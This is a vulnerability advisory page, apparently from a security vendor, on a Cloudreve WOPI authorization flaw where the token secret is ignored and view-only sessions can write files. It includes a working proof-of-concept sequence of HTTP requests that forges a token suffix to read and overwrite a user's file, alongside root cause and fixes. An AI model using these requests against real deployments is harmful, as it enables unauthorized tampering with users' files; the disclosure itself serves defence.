Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

GHSA-c3jm-gv5r-9wcp

MEDIUMFix: cloudreve/cloudreve@f334713

GHSA-c3jm-gv5r-9wcp is a medium-severity (CVSS 6.3) CWE-863 vulnerability in github.com/cloudreve/Cloudreve/v4. O3 Security confirms whether GHSA-c3jm-gv5r-9wcp is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Cloudreve WOPI view sessions can write files and WOPI access token secret is ignored

Also known asCVE-2026-62323GO-2026-6104
Published
Jul 24, 2026
Updated
Aug 18, 2026
Affected
2 pkgs
Patched
1 / 2
Exploits
None indexed
Exploitation data as of Sep 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-c3jm-gv5r-9wcp.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs7th percentile — riskier than 7% of all scored CVEsHighest risk
0.00%0.27%0.54%0.81%0.3%0.2%0.2%Aug 26Sep 26Sep 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-c3jm-gv5r-9wcp plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 371,256 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

2 pkgs affected
🐹github.com/cloudreve/Cloudreve/v4🐹github.com/cloudreve/Cloudreve/v3

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Cloudreve WOPI access tokens are generated as <session-id>.<random-secret>, but the WOPI middleware validates only the session id prefix and never compares the supplied token to the stored token. In addition, a WOPI viewer session does not store or enforce the requested viewer action. A session created for a view or preview action can still call WOPI write routes if the underlying file is writable by the session user.

Impact

A WOPI integration that is only expected to view a user's file can modify that file through the WOPI write endpoints. If the WOPI URL or session id leaks, the random token suffix does not protect the session because any suffix is accepted for an existing session id.

This affects deployments that configure WOPI viewers for user files. The attacker primitive is strongest when a malicious or compromised WOPI viewer receives a view-only URL and then writes content back to Cloudreve.

Affected version

Verified in source and runtime on latest master commit ba2e870bbd17f1918dd2321de861e453f696d6a3 and latest observed tag 4.16.1.

Technical details

Cloudreve creates WOPI viewer sessions in pkg/filemanager/manager/viewer.go:

sessionID := uuid.Must(uuid.NewV4()).String()
token := util.RandStringRunesCrypto(128)
sessionCache := &ViewerSessionCache{
    ID:       sessionID,
    Uri:      file.Uri(false).String(),
    UserID:   m.user.ID,
    ViewerID: viewer.ID,
    FileID:   file.ID(),
    Version:  version,
    Token:    fmt.Sprintf("%s.%s", sessionID, token),
}

The token includes a 128-character random suffix, but middleware.ViewerSessionValidation() only uses the prefix before the dot:

accessToken := strings.Split(c.Query(wopi.AccessTokenQuery), ".")
if len(accessToken) != 2 {
    ...
}

sessionRaw, exist := store.Get(manager.ViewerSessionCachePrefix + accessToken[0])

The middleware checks that the file id matches the loaded session, but it never compares c.Query("access_token") with session.Token. As a result, <valid-session-id>.anything is accepted.

The WOPI routes are exposed without normal session authentication and rely on this middleware:

wopi := noAuth.Group("file/wopi", middleware.HashID(hashid.FileID), middleware.ViewerSessionValidation())
wopi.GET(":id", controllers.CheckFileInfo)
wopi.GET(":id/contents", controllers.GetFile)
wopi.POST(":id/contents", controllers.PutFile)
wopi.POST(":id", controllers.ModifyFile)

The write routes are not protected by a session-level write check. CreateViewerSessionService accepts preferred_action, but ViewerSessionCache has no action or write-permission field and CreateViewerSession does not persist the chosen action. The requested action is only used to generate the WOPI source URL:

wopiSrc, err := wopi.GenerateWopiSrc(c, s.PreferredAction, targetViewer, viewerSession)

WopiService.PutContent() checks only the underlying filesystem upload capability:

file, err := m.Get(c, uri, dbfs.WithRequiredCapabilities(dbfs.NavigatorCapabilityUploadFile), dbfs.WithNotRoot())

It does not check whether the WOPI session was created for an edit action.

Reproduction

The following sequence was verified against a disposable local Cloudreve instance built from the affected commit.

  1. Configure a WOPI viewer in Cloudreve.
  2. Create a user-owned file, for example cloudreve://my/wopi.txt, containing original content.
  3. Create a viewer session with preferred_action set to view:
PUT /api/v4/file/viewerSession HTTP/1.1
Authorization: Bearer <user-token>
Content-Type: application/json

{
  "uri": "cloudreve://my/wopi.txt",
  "version": "",
  "viewer_id": "poc-wopi",
  "preferred_action": "view"
}

Observed response:

{
  "session": {
    "id": "a2d03f1b-e310-4b2a-9baf-38556fa2d5d1",
    "access_token": "a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.<128-char-random-secret>"
  }
}
  1. Replace the token suffix with any value:
GET /api/v4/file/wopi/4xc5?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1

Observed response: 200 OK. The same request with an unknown session id returned 403 Forbidden, confirming the middleware validates the session id prefix but ignores the secret suffix.

  1. Use the forged token from the view-created session to read content:
GET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1

Observed response:

HTTP/1.1 200 OK
Content-Length: 16
Etag: "1bIo"

original content
  1. Use the same forged token from the view-created session to write content:
POST /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1
X-WOPI-Lock: cloudreve-poc
Content-Type: application/octet-stream

runtime modified via view session forged suffix

Observed response:

HTTP/1.1 200 OK
X-Wopi-Itemversion: nBc0
  1. Read back the modified file with the forged token:
GET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1

Observed response:

HTTP/1.1 200 OK
Content-Length: 47
Etag: "nBc0"

runtime modified via view session forged suffix

This proves both authorization failures: the random token suffix is ignored, and a view-created WOPI session can reach the content write sink.

Root cause

Two authorization values are generated or accepted but not enforced:

  1. The random WOPI token suffix is generated and stored but never compared during WOPI request validation.
  2. The requested WOPI action is accepted during session creation but not persisted or enforced on WOPI write routes.

Remediation

  • Compare the full supplied access_token to the stored ViewerSessionCache.Token using constant-time comparison.
  • Reject malformed tokens and tokens with extra separators.
  • Store a CanWrite flag or selected WOPI action in ViewerSessionCache.
  • Enforce that flag on POST /contents, PUT_RELATIVE, LOCK, and other write operations.
  • Include session-level write permission when returning WOPI FileInfo fields such as ReadOnly and UserCanWrite.

Affected Packages

2 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/cloudreve/Cloudreve/v4all versions4.0.0-20260626022433-f3347130ac48
🐹Gogithub.com/cloudreve/Cloudreve/v3all versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/cloudreve/Cloudreve/v4. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/cloudreve/Cloudreve/v4 to 4.0.0-20260626022433-f3347130ac48 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c3jm-gv5r-9wcp is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-c3jm-gv5r-9wcp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-c3jm-gv5r-9wcp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary Cloudreve WOPI access tokens are generated as `<session-id>.<random-secret>`, but the WOPI middleware validates only the session id prefix and never compares the supplied token to the stored token. In addition, a WOPI viewer session does not store or enforce the requested viewer action. A session created for a view or preview action can still call WOPI write routes if the underlying file is writable by the session user. ## Impact A WOPI integration that is only expected to view a user's file can modify that file through the WOPI write endpoints. If the WOPI URL or session id leak
O3 Security · Impact-Aware SCA

Is GHSA-c3jm-gv5r-9wcp in your dependencies?

O3 detects GHSA-c3jm-gv5r-9wcp across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-c3jm-gv5r-9wcp: v4 (Medium 6.3) | O3 Security